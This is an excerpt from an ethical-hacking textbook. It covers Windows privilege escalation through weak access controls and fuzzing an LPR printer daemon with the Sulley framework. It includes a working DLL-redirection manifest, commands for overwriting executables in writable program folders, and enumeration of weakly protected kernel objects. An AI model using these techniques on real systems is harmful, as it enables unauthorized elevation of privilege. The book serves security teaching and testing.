Tải bản đầy đủ (.pdf) (57 trang)

gray hat hacking the ethical hackers handbook phần 9 docx

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (13.52 MB, 57 trang )

Gray Hat Hacking: The Ethical Hacker’s Handbook
432
First, the attackers copy their attack DLL into the directory where the tool will be run.
Remember that these attackers have been granted FILE_ADD_FILE. The attack.dll is
coded to do bad stuff in DllMain and then return execution back to the real DLL. Next
the attackers create a new file in this directory called [program-name].exe.manifest. In
this example, the attacker’s file will be accesschk.exe.manifest.
C:\tools>type accesschk.exe.manifest
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="6.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
<description>DLL Redirection</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
<file
name="user32.dll"


/>
</assembly>
It’s not important to understand exactly how the manifest file works—you can just
learn how to make it work for you. You can read up on manifest files at http://
msdn2.microsoft.com/en-gb/library/ms766454.aspx if you’d like. Finally, let’s simulate
the administrator running AccessChk. The debugger will show which DLLs are loaded.
C:\tools>c:\Debuggers\cdb.exe accesschk.exe
Microsoft (R) Windows Debugger Version 6.5.0003.7
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: accesschk.exe
Executable search path is:
ModLoad: 00400000 00432000 image00400000
ModLoad: 7c900000 7c9b0000 ntdll.dll
ModLoad: 7c800000 7c8f4000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 7e410000 7e4a0000 C:\tools\USER32.dll
ModLoad: 77f10000 77f57000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f01000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
Bingo! Our attack DLL (renamed to user32.dll) was loaded by accesschk.exe.
Attacking Weak File DACLs
File DACL attacks are similar to directory DACL attacks. The focus is finding files
writable by untrusted or semi-trusted users and used by a higher-privileged entity. Some
of the directory DACL attacks could be classified as file DACL attacks but we’ve chosen to
call attacks that add a file “directory DACL attacks” and attacks that tamper with an exist
-
ing file “file DACL attacks.”
Enumerating Interesting Files’ DACLs

We can again use accesschk.exe to enumerate DACLs. There are several interesting
attacks involving tampering with existing files.
Write to executables or executable equivalent files (EXE, DLL, HTA,
BAT, CMD). Cases of vulnerable executables can be found fairly easily by scanning
with a similar AccessChk command as that used for directories.
C:\tools>accesschk.exe -w -q -s users c:\ > weak-dacl-files.txt
When this command finishes, look for files ending in .exe, .dll, .hta, .bat, .cmd, and
other equivalent files. Here are some interesting results potentially vulnerable to
tampering:
RW c:\Program Files\CA\SharedComponents\ScanEngine\arclib.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\avh32dll.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\DistCfg.dll
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inodist.exe
RW c:\Program Files\CA\SharedComponents\ScanEngine\Inodist.ini
RW c:\Program Files\CA\SharedComponents\ScanEngine\InoScan.dll
Let’s look more closely at the DACL, first on the directory.
C:\Program Files\CA\SharedComponents\ScanEngine
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA

FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
We know that FILE_ADD_FILE means we could launch directory attacks here. (FILE_
ADD_FILE granted to Users on a directory inside %ProgramFiles% is bad news.) How
-
ever, let’s think specifically about the file tampering and executable replacement attacks.
Notice that FILE_DELETE_CHILD is not present in this directory DACL, so the directory
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
433
PART IV
DACL itself does not grant access to directly delete a file and replace it with an .exe of our
own. Let’s take a look at one of the file DACLs.
C:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
RW BUILTIN\Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
DELETE is not granted on the file DACL either. So we can’t technically delete the .exe

and replace it with one of our own, but watch this:
C:\Program Files\CA\SharedComponents\ScanEngine>copy Inocmd32.exe inocmd32_
bak.exe
1 file(s) copied.
C:\Program Files\CA\SharedComponents\ScanEngine>echo hi > inocmd32.exe
C:\Program Files\CA\SharedComponents\ScanEngine>copy inocmd32_bak.exe
inocmd32.exe
Overwrite inocmd32.exe? (Yes/No/All): yes
1 file(s) copied.
C:\Program Files\CA\SharedComponents\ScanEngine>del Inocmd32.exe
C:\Program Files\CA\SharedComponents\ScanEngine\Inocmd32.exe
Access is denied.
DELETE access to the file isn’t necessary if we can completely change the contents of
the file!
Tamper with configuration files. Pretend now that the EXEs and DLLs all
used strong DACLs. What else might we attack in this application?
C:\Program Files\CA\SharedComponents\ScanEngine>c:\tools\accesschk.exe -q -v
Users inodist.ini
RW C:\Program Files\CA\SharedComponents\ScanEngine\Inodist.ini
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
Gray Hat Hacking: The Ethical Hacker’s Handbook

434
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
Writable configuration files are a fantastic source of privilege elevation. Without
more investigation into how eTrust works, we can’t say for sure, but it’s likely that con
-
trol over a scan engine initialization file could lead to privilege elevation. Sometimes
you can even leverage only FILE_APPEND_DATA to add content that is run by the appli
-
cation on its next start.
TIP Remember that notepad.exe and common editing applications will
attempt to open for Generic Read. If you have been granted FILE_APPEND_
DATA and the AccessCheck function returns “access denied” with the testing
tool you’re using, take a closer look at the passed-in desiredAccess.
Tamper with data files to attack the data parser. The other files that
jumped out to me in this weak DACL list were the following:
RW c:\Program Files\CA\eTrust Antivirus\00000001.QSD
RW c:\Program Files\CA\eTrust Antivirus\00000002.QSD
RW c:\Program Files\CA\eTrust Antivirus\DB\evmaster.dbf
RW c:\Program Files\CA\eTrust Antivirus\DB\evmaster.ntx
RW c:\Program Files\CA\eTrust Antivirus\DB\rtmaster.dbf
RW c:\Program Files\CA\eTrust Antivirus\DB\rtmaster.ntx
We don’t know much about how eTrust works but these look like proprietary signa-
ture files of some type that are almost surely consumed by a parser running at a high
privilege level. Unless the vendor is particularly cautious about security, it’s likely that
their trusted signature or proprietary database files have not been thoroughly tested
with a good file fuzzer. If we were able to use Process Monitor or FileMon to find a
repeatable situation where these files are consumed, chances are good that we could

find vulnerabilities with a common file fuzzer. Always be on the lookout for writable
data files that look to be a proprietary file format and are consumed by a parser running
with elevated privileges.
“Write” Disposition Permissions of a File
FILE_WRITE_DATA Depending on file, possible elevation of privilege. Allows an attacker
to overwrite file contents.
FILE_APPEND_DATA Depending on file, possible elevation of privilege. Allows an attacker
to append arbitrary content to the end of a file.
WRITE_DAC Depending on file, possible elevation of privilege. Allows attackers to
rewrite the DACL, granting themselves any file privilege.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
435
PART IV
WRITE_OWNER Depending on file, possible elevation of privilege. Allows attacker to
become the object owner. Object ownership implies WRITE_DAC.
WRITE_DAC allows attacker to rewrite the DACL, granting any file
privilege.
GENERIC_WRITE Depending on file, possible elevation of privilege. Grants FILE_
WRITE_DATA.
GENERIC_ALL Depending on file, possible elevation of privilege. Grants FILE_
WRITE_DATA.
DELETE Depending on file, possible elevation of privilege. Allows attackers to
delete and potentially replace the file with one of their choosing.
“Read” Disposition Permissions of a File
FILE_READ_DATA Depending on the file, possible information disclosure. Allows
attacker to view contents of the file.
FILE_READ_ATTRIBUTES
FILE_READ_EA
Depending on the directory, possible information disclosure.
These rights grant access to the metadata of the file. Filenames

could contain sensitive info such as “layoff plan.eml” or “plan to
sell company to google.doc.” An attacker might also find bits of
information like usernames usable in a multistage attack.
GENERIC_READ Depending on the file, possible information disclosure. This right
grants FILE_READ_DATA, FILE_READ_ATTRIBUTES, and FILE_
READ_EA.
There are lots of scenarios where read access should not be granted to unprivileged
attackers. It might allow them to read (for example):
• User’s private data (user’s browser history, favorites, mail)

Config files (might leak paths, configurations, passwords)

Log data (might leak other users and their behaviors)
eTrust appears to store data in a logfile readable by all users. Even if attackers could
not write to these files, they might want to know which attacks were detected by eTrust
so they could hide their tracks.
Attacking Weak File DACLs for Privilege Escalation
An attack was already demonstrated earlier in the enumeration section. To recap, the
primary privilege escalation attacks against files are

Write to executables or executable equivalent files (EXE, DLL, HTA, BAT, CMD).

Tamper with configuration files.

Tamper with data files to attack the data parser.
Gray Hat Hacking: The Ethical Hacker’s Handbook
436
What Other Object Types Are out There?
Services, registry keys, files, and directories are the big four object types that will expose
code execution vulnerabilities. However, several more object types might be poorly

ACL’d. Nothing is going to be as easy and shellcode-free as the objects listed already in
this chapter. The remaining object types will expose code execution vulnerabilities but
you’ll probably need to write “real” exploits to leverage those vulnerabilities. Having
said that, let’s briefly talk through how to enumerate each one.
Enumerating Shared Memory Sections
Shared memory sections are blocks of memory set aside to be shared between two appli
-
cations. This is an especially handy way to share data between a kernel mode and user
mode process. Programmers have historically considered this trusted, private data but a
closer look at these object DACLs shows that untrusted or semi-trusted users can write to
them.
AccessChk could dump all objects in the object manager namespace but could not
yet filter by type at the time of this writing. So here’s the easiest way to find all the shared
memory sections:
accesschk.exe -osv > allobjects.txt
Inside the output file, you can inspect each shared section by searching for “Type:
Section”. Here’s an example:
\BaseNamedObjects\WDMAUD_Callbacks
Type: Section
RW NT AUTHORITY\SYSTEM
SECTION_ALL_ACCESS
RW Everyone
SECTION_MAP_WRITE
SECTION_MAP_READ
It’s almost never a good idea to grant write access to the Everyone group but it would
take focused investigation time to determine if this shared section could hold up under
malicious input from an untrusted user. An attacker might also want to check what type
of data is available to be read in this memory section.
If you see a shared section having a NULL DACL, that is almost surely a security vul
-

nerability. For example, I just stumbled across this one on my laptop while doing
research for this chapter:
\BaseNamedObjects\INOQSIQSYSINFO
Type: Section
RW Everyone
SECTION_ALL_ACCESS
The first search engine link for information about INOQSIQSYSINFO was a recent
security advisory about how to supply malicious content to this memory section to
cause a stack overflow in the eTrust antivirus engine. If there were no elevation of privi
-
lege threat already, remember that SECTION_ALL_ACCESS includes WRITE_DAC,
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
437
PART IV
which would allow anyone in the Everyone group to change the DACL, locking out
everyone else. This would likely cause a denial of service in the AV product.
Reference
INOQSIQSYSINFO exploit www.milw0rm.com/exploits/3897
Enumerating Named Pipes
Named pipes are similar to shared sections in that developers incorrectly used to think
named pipes accepted only trusted, well-formed data. The elevation of privilege threat
with weakly ACL’d named pipes again is to write to the pipe to cause parsing or logic
flaws that result in elevation of privilege. Attackers also might find information dis
-
closed from the pipe that they wouldn’t otherwise be able to access.
AccessChk does not appear to support named pipes natively, but SysInternals did cre
-
ate a tool specifically to enumerate named pipes. Here’s the output from PipeList.exe:
PipeList v1.01
by Mark Russinovich


Pipe Name Instances Max Instances

TerminalServer\AutoReconnect 1 1
InitShutdown 2 -1
lsass 3 -1
protected_storage 2 -1
SfcApi 2 -1
ntsvcs 6 -1
scerpc 2 -1
net\NtControlPipe1 1 1
net\NtControlPipe2 1 1
net\NtControlPipe3 1 1
PipeList does not display the DACL of the pipe but BindView (recently acquired by
Symantec) has built a free tool called pipeacl.exe. It offers two run options—command-
line dumping the raw ACEs, or a GUI with a similar permissions display as the Windows
Explorer users. Here’s the command-line option:
C:\tools>pipeacl.exe \??\Pipe\lsass
Revision: 1
Reserved: 0
Control : 8004
Owner: BUILTIN\Administrators (S-1-5-32-544)
Group: SYSTEM (S-1-5-18)
Sacl: Not present
Dacl: 3 aces
(A) (00) 0012019b : Everyone (S-1-1-0)
(A) (00) 0012019b : Anonymous (S-1-5-7)
(A) (00) 001f01ff : BUILTIN\Administrators (S-1-5-32-544)
The Process Explorer GUI will also display the security descriptor for named pipes.
Gray Hat Hacking: The Ethical Hacker’s Handbook

438
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
439
PART IV
References
PipeList download location />PipeACL download location www.bindview.com/Services/RAZOR/Utilities/Windows/
pipeacltools1_0.cfm
Enumerating Processes
Sometimes processes apply a custom security descriptor and get it wrong. If you find a
process or thread granting write access to an untrusted or semi-trusted user, an attacker
can inject shellcode directly into the process or thread. Or an attacker might choose to
simply commandeer one of the file handles that was opened by the process or thread to
gain access to a file they wouldn’t normally be able to access. Weak DACLs enable many
different possibilities. AccessChk is your tool to enumerate process DACLs.
C:\tools>accesschk.exe -pq *
[4] System
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[856] smss.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[904] csrss.exe
RW NT AUTHORITY\SYSTEM
[936] winlogon.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[980] services.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[992] lsass.exe

RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[1188] svchost.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
Cesar Cerrudo, an Argentinean pen-tester who focuses on Windows Access Control,
recently released a “Practical 10 minutes security audit” guide with one of the examples
being a NULL DACL on an Oracle process allowing code injection. You can find a link to
it in the “Reference” section.
Reference
Practical 10 minutes security audit Oracle case www.argeniss.com/research/
10MinSecAudit.zip
Enumerating Other Named Kernel Objects
(Semaphores, Mutexes, Events, Devices)
While there might not be an elevation of privilege opportunity in tampering with other
kernel objects, an attacker could very likely induce a denial-of-service condition if
Gray Hat Hacking: The Ethical Hacker’s Handbook
440
allowed access to other named kernel objects. AccessChk will enumerate each of these
and will show their DACL. Here are some examples.
\BaseNamedObjects\shell._ie_sessioncount
Type: Semaphore
W Everyone
SEMAPHORE_MODIFY_STATE
SYNCHRONIZE
READ_CONTROL
RW BUILTIN\Administrators
SEMAPHORE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SEMAPHORE_ALL_ACCESS

\BaseNamedObjects\{69364682-1744-4315-AE65-18C5741B3F04}
Type: Mutant
RW Everyone
MUTANT_ALL_ACCESS
\BaseNamedObjects\Groove.Flag.SystemServices.Started
Type: Event
RW NT AUTHORITY\Authenticated Users
EVENT_ALL_ACCESS
\Device\WinDfs\Root
Type: Device
RW Everyone
FILE_ALL_ACCESS
It’s hard to know whether any of the earlier bad-looking DACLs are actual vulnerabil-
ities. For example, Groove runs as the logged-in user. Does that mean a Groove synchro-
nization object should grant all Authenticated Users EVENT_ALL_ACCESS? Well,
maybe. It would take more investigation into how Groove works to know how this event
is used and what functions rely on this event not being tampered with. And Process
Explorer tells us that {69364682-1744-4315-AE65-18C5741B3F04} is a mutex owned
by Internet Explorer. Would an untrusted user leveraging MUTANT_ALL_ACCESS ->
WRITE_DAC -> “deny all” cause an Internet Explorer denial of service? There’s an easy
way to find out! Another GUI SysInternals tool called WinObj allows you to change
mutex security descriptors.
Windows Access Control is a fun field to study because there is so much more to
learn! We hope this chapter whets your appetite to research access control topics. Along
the way, you’re bound to find some great security vulnerabilities.
References
www.grayhathackingbook.com
WinObj download www.microsoft.com/technet/sysinternals/SystemInformation/
WinObj.mspx
441

CHAPTER
17
Intelligent Fuzzing
with Sulley
• Protocol analysis
• Sulley fuzzing framework
• Powerful fuzzer
• Process fault detection
• Network monitoring
• Session monitoring
In Chapter 14, we have covered basic fuzzing. The problem with basic fuzzing is that you
often only scratch the surface of a server’s interfaces and rarely get deep inside the server
to find bugs. Most real servers have several layers of filters and challenge/response mech-
anisms that prevent basic fuzzers from getting very far. Recently, a new type of fuzzing
has arrived called intelligent fuzzing. Instead of blindly throwing everything but the
kitchen sink at a program, techniques have been developed to analyze how a server
works and to customize a fuzzer to get past the filters and reach deeper inside the server
to discover even more vulnerabilities. To do this effectively, you need more than a fuzzer.
First, you will need to conduct a protocol analysis of the target. Next, you need a way to
fuzz that protocol and get feedback from the target as to how you are doing. As we will
see, the Sulley fuzzing framework automates this process and allows you to intelligently
sling packets across the network.
Protocol Analysis
Since most servers perform a routine task and need to interoperate with random clients
and other servers, most servers are based on some sort of standard protocol. The Internet
Engineering Task Force (IETF) maintains the set of protocols that form the Internet as we
know it. So the best way to find out how a server, for example, a LPR server, operates is to
look up the Request for Comments (RFC) document for the LPR protocol, which can be
found on www.ietf.org as RFC 1179.
Here is an excerpt from the RFC 1179 (see reference: www.ietf.org/rfc/rfc1179.txt):

"3.1 Message formats
LPR is a a TCP-based protocol. The port on which a line printer
daemon listens is 515. The source port must be in the range 721 to
731, inclusive. A line printer daemon responds to commands sent to
its port. All commands begin with a single octet code, which is a
binary number which represents the requested function. The code is
immediately followed by the ASCII name of the printer queue name on
which the function is to be performed. If there are other operands
to the command, they are separated from the printer queue name with
white space (ASCII space, horizontal tab, vertical tab, and form
feed). The end of the command is indicated with an ASCII line feed
character."
NOTE As we can see in the preceding excerpt, the RFC calls for the source
port to be in the range 721–731 inclusive. This could be really important. If
the target LPR daemon conformed to the standard; it would reject all requests
that were outside this source port range. The target we are using (NIPRINT3)
does not conform to this standard. If it did, no problem, we would have to ensure we sent
packets in that source port range.
And further down in the RFC, you will see diagrams of LPR daemon commands:
Source: />5.1 01 - Print any waiting jobs
+ + + +
| 01 | Queue | LF |
+ + + +
Command code - 1
Operand - Printer queue name
This command starts the printing process if it not already running.
5.2 02 - Receive a printer job
+ + + +
| 02 | Queue | LF |
+ + + +

Command code - 2
Operand - Printer queue name
Receiving a job is controlled by a second level of commands. The
daemon is given commands by sending them over the same connection.
The commands are described in the next section (6).
After this command is sent, the client must read an acknowledgement
octet from the daemon. A positive acknowledgement is an octet of
zero bits. A negative acknowledgement is an octet of any other
pattern.
And so on…
Gray Hat Hacking: The Ethical Hacker’s Handbook
442
From this, we can see the format of commands the LPR daemon will accept. We know
the first octet (byte) gives the command code. Next comes the printer queue name, fol
-
lowed by an ASCII line feed (LF) command (“\n”).
As we can see in the preceding, the command code of “\x02” tells the LPR daemon to
“receive a printer job.” At that point, the LPR daemon expects a series of subcommands,
which are defined in section (6) of the RFC.
This level of knowledge is important, as now we know that if we want to fuzz deep
inside a LPR daemon, we must use this format with proper command codes and syntax.
For example, when the LPR daemon receives a command to “receive a printer job,” it
opens up access to a deeper section of code as the daemon accepts and processes that
printer job.
We have learned quite a bit about our target daemon that will be used throughout the
rest of this chapter. As you have seen, the RFC is invaluable to understanding a protocol
and allows you to know your target.
Reference
RFC for LPR protocol www.ietf.org/rfc/rfc1179.txt
Sulley Fuzzing Framework

Pedram Amini has done it again! He has brought us Sulley, the newest fuzzing frame-
work as of the writing of this book. Sulley gets its name from the fuzzy character in the
movie Monsters Inc. This tool is truly revolutionary in that it provides not only a great
fuzzer and debugger, but also the infrastructure to manage a fuzzing session and con-
duct postmortem analysis.
Installing Sulley
Download the latest version of Sulley from www.fuzzing.org. Install the Sulley program to
a folder in the path of both your host machine and your virtual machine target. This is best
done by establishing a shared folder within the target virtual machine and pointing it to
the same directory in which you installed Sulley on the host. To make things even easier,
you can map the shared folder to a drive letter from within your target virtual machine.
Powerful Fuzzer
You will find that Sulley is a nimble yet very powerful fuzzer based on Dave Aitel’s block-
based fuzzing approach. In fact, if you know Dave’s SPIKE fuzzing tool, you will find
yourself at home with Sulley. Sulley organizes the fuzzing data into requests. As we will
see later, you can have multiple requests and link them together into what is called a ses
-
sion. You can start a request by using the s_initialize function, for example:
s_initialize("request1")
The only required argument for the s_initialize function is the request name.
Chapter 17: Intelligent Fuzzing with Sulley
443
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
444
Primitives
Now that we have a request initialized, let’s build on that by adding primitives, the building
blocks of fuzzing. We will start out simple and build up to more complex fuzzing structures.
When you want to request a fixed set of data that is static, you can use the s_static function.
Syntax:

s_static("default value", <name>, <fuzzable>, <num_mutations>)
NOTE As with the other functions of this section, the required arguments
are shown in quotes and the optional arguments are shown in angle brackets.
Example:
s_static("hello haxor")
Sulley provides alternate but equivalent forms of s_static:
s_dunno("hello haxor")
s_unknown("hello haxor")
s_raw("hello haxor")
All of these provide the same thing, a static string “hello haxor” that will not be fuzzed.
Using Binary Values
With Sulley it is easy to represent binary values in many formats using the s_binary
primitive.
Syntax:
s_binary("default value", <name>, <fuzzable>, <num_mutations>)
Example:
s_binary("\xad 0x01 0x020x03 da be\x0a", name="crazy")
Generating Random Data
With Sulley it is easy to generate random chunks of data, using the s_random primitive.
This primitive will start with the default value, then generate from the minimum size to the
maximum size of random blocks of data. When it finishes, the default value will be pre
-
sented. If you want a fixed size of random data, then set min and max to the same value.
Syntax:
s_random("default raw value", "min", "max", <name>, <fuzzable>, <num_
mutations>)
NOTE Although min and max size are required arguments, if you want a
random size of random data for each request, then set the max size to –1.
Chapter 17: Intelligent Fuzzing with Sulley
445

PART IV
Example:
s_random("\xad 0x01 0x020x03 da be\x0a", 1, 7, name="nuts")
Strings and Delimiters
When you want to fuzz a string, use the s_string function.
Syntax:
s_string("default value", <name>, <fuzzable>, <encoding>, <padding>, <size>)
The first fuzz request will be the default value; then if the fuzzable argument is set (On
by default), the fuzzer will randomly fuzz that string. When finished fuzzing that string,
the default value will be sent thereafter.
Some strings have delimiters within them; they can be designated with the s_delim()
function. The s_delim() function accepts the optional arguments fuzzable and name.
Examples:
s_string("Hello", name="first_part")
s_delim(" ")
s_string("Haxor!", name="second_part")
The preceding sequence will fuzz all three portions of this string sequentially since the
fuzzable argument is True by default.
Bit Fields
Bit fields are used to represent a set of binary flags. Some network or file protocols call
for the use of bit fields. In Sulley, you can use the s_bit_field function.
Syntax:
s_bit_field("default value", "size", <name>, <fuzzable>, <full range>,
<signed>, <format>,
<endian>)
Other names for s_bit_field:

s_bit

s_bits

Example:
s_bits(5,3, full_range=True) # this represents 3 bit flags, initially "101"
Integers
Integers may be requested and fuzzed with the s_byte function.
Syntax:
s_byte("default value", <name>, <fuzzable>, <full range>, <signed>, <format>,
<endian>)
Gray Hat Hacking: The Ethical Hacker’s Handbook
446
Other sizes of integers:

2 bytes: s_word(), s_short()

4 bytes: s_dword(), s_long(), s_int()

8 bytes: s_qword(), s_double()
Examples:
s_byte(1)
s_dword(23432, name="foo", format="ascii")
Blocks
Now that you have the basics down, keep going by lumping several primitives together
into a block.
Syntax:
s_block_start("required name", <group>, <encoder>, <dep>,<dep_value>,
<dep_values>, <dep_compare>)
s_block_end("optional name")
The interesting thing about blocks is that they may be nested within other blocks. For
example:
if s_block_start("foo"):
s_static("ABC")

s_byte(2)
if s_block_start("bar"):
s_string("123")
s_delim(" ")
s_string("ABC")
s_block_end("bar")
s_block_end("foo")
We can test this fuzz block with a simple test harness:
from sulley import *
#############################################################################
s_initialize("foo request")
if s_block_start("foo"):
s_static("ABC")
s_byte(2) #will be fuzzed first
if s_block_start("bar"):
s_string("123") #will be fuzzed second
s_delim(" ")
s_string("ABC")
s_block_end("bar")
s_block_end("foo")
#######################################
req1 = s_get("foo request")
PART IV
for i in range(req1.names["foo"].num_mutations()) :
print(s_render())
s_mutate()
The preceding program is simple and will print our fuzz strings to the screen so we
can ensure the fuzzer is working as we desire. The program works by first defining a basic
request called “foo request”. Next the request is fetched from the stack with s_get func
-

tion and a for loop is set up to iterate through the permutations of the fuzzed block,
printing on each iteration. We can run this program from the sulley directory.
{common host-guest path to sulley}>python foo2.py
ABC 123 ABC
ABC 123 ABC
ABCJ123 ABC
ABC 123 ABC
ABC♥123 ABC
ABC♦123 ABC
ABC♣123 ABC
ABC♠123 ABC
ABC 123 ABC
AB 123 ABC
ABC 123 ABC
ABCu123 ABC
ABCv123 ABC
… truncated for brevity …
ABC ABC
ABC 123123 ABC
ABC 123123123123123123123123123123 ABC
ABC 123123123123123123123123123123123123123123123123123123123123123123123123
23123123123123123123123123123123123123123123123123123123123123123123123123123
12312312312312312312312312312312312312312312312312312312312312312312312312312
3123123123123123123123123123123123123123123123123123123123123123 ABC
ABC /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Press CTRL-C to end the script. As you can see, the script fuzzed the byte first; a while
later it started to fuzz the string, and so on.
Groups

Groups are used to pre-append a series of values on the block. For example, if we wanted
to fuzz an LPR request, we could use a group as follows:
from sulley import *
#############################################################################
s_initialize("LPR shallow request")
Chapter 17: Intelligent Fuzzing with Sulley
447
Gray Hat Hacking: The Ethical Hacker’s Handbook
448
#Command Code (1 byte)|Operand|LF
s_group("command",values=['\x01','\x02','\x03','\x04','\x05'])
if s_block_start("rcv_request", group="command"):
s_string("Queue")
s_delim(" ")
s_static("\n")
s_block_end()
This script will pre-append the command values (one byte each) to the block. For
example, the block will fuzz all possible values with the prefix ‘\x01’. Then it will repeat
with the prefix ‘\x02’, and so on, until the group is exhausted. However, this is not quite
accurate enough, as each of the different command values has a different format out
-
lined in the RFC. That is where dependencies come in.
Dependencies
When you need your script to make decisions based on a condition, then you can use
dependencies. The dep argument of a block defines the name of the object to check and
the dep_value argument provides the value to test against. If the dependant object equals
the dependant value, then that block will be rendered. This is like using the if/then con-
struct in languages like C or Python.
For example, to use a group and change the fuzz block for each command code, we
could do the following:

#############################################################################
s_initialize("LPR deep request")
#Command Code (1 byte)|Operand|LF
s_group("command",values=['\x01','\x02','\x03','\x04','\x05'])
# Type 1,2: Receive Job
if s_block_start("rcv_request", dep="command", dep_values=['\x01', '\x02']):
s_string("Queue")
s_delim(" ")
s_static("\n")
s_block_end()
#Type 3,4: Send Queue State
if s_block_start("send_queue_state", dep="command", dep_values=['\x03','\x04']):
s_string("Queue")
s_static(" ")
s_string("List")
s_static("\n")
s_block_end()
#Type 5: Remove Jobs
if s_block_start("remove_job", dep="command", dep_value='\x05'):
s_string("Queue")
s_static(" ")
s_string("Agent")
s_static(" ")
s_string("List")
s_static("\n")
s_block_end()
# and so on see RFC for more cases
Chapter 17: Intelligent Fuzzing with Sulley
449
PART IV

To use this fuzz script later, add the two earlier code blocks (“shallow request” and “deep
request” to a file called {common host-guest path to sulley}\request\lpr.py.
NOTE There are many other helpful functions in Sulley but we have enough
to illustrate an intelligent LPR fuzzer at this point.
Sessions
Now that we have defined several requests in a fuzz script called sulley\request\lpr.py,
let’s use them in a fuzzing session. In Sulley, sessions are used to define the order in
which the fuzzing takes place. Sulley uses a graph with nodes and edges to represent the
session and then walks each node of the graph to conduct the fuzz. This is a very power
-
ful feature of Sulley and will allow you to create some very complex fuzzing sessions. We
will keep it simple and create the following session driver script in the sulley main
directory:
{common host-guest path to sulley}\fuzz_niprint_lpr_servert_515.py
import time
from sulley import *
from requests import lpr
# establish a new session
sess = sessions.session(session_filename="audits/niprint_lpr_515_a.session",\
crash_threshold=10)
# add nodes to session graph.
sess.connect(s_get("LPR shallow request")) #shallow fuzz
sess.connect(s_get("LPR deep request")) #deep fuzz, with correct formats
# render the diagram for inspection (OPTIONAL)
fh = open("LPR_session_diagram.udg", "w+")
fh.write(sess.render_graph_udraw())
fh.close()
print "graph is ready for inspection"
NOTE The crash_threshold option allows us to move on once we get a
certain number of crashes.

Now we can run the program and produce the session graph for visual inspection.
{common host-guest path to sulley}>mkdir audits # keep audit data here
{common host-guest path to sulley}>python fuzz_niprint_lpr_servert_515.py
graph is ready for inspection
Gray Hat Hacking: The Ethical Hacker’s Handbook
450
Open session graph with uDraw:
{common host-guest path to sulley}>"c:\Program Files\uDraw(Graph)\bin\
uDrawGraph.exe"
LPR_session_diagram.udg
Figure 17-1 should appear. As you can see, Sulley will first fuzz the “LPR shallow
request,” then the “LPR deep request.”
NOTE We are not doing justice to the session feature of Sulley; see
documentation for a description of the full capability here.
Before we put our fuzzer into action, we need to instrument our target (which is run
-
ning in VMware) so that we can track faults and network traffic.
Monitoring the Process for Faults
Sulley provides a fantastic fault monitoring tool that works within the target virtual
machine and attaches to the target process and records any nonhandled exceptions as
they are found. The request ID number is captured and feedback is given to the Sulley
framework through the PEDRPC custom binary network protocol.
Figure 17-1 uDraw™ representation of the Sulley session graph
Chapter 17: Intelligent Fuzzing with Sulley
451
PART IV
NOTE To start the process_monitor script, you will need to run it from a
common directory with the host machine.
We will create a place to keep our audit data and launch the process_monitor.py
script from within the target virtual machine as follows:

{common host-guest path to sulley}>mkdir audits # not needed if done
previously
{common host-guest path to sulley}>python process_monitor.py -c audits\
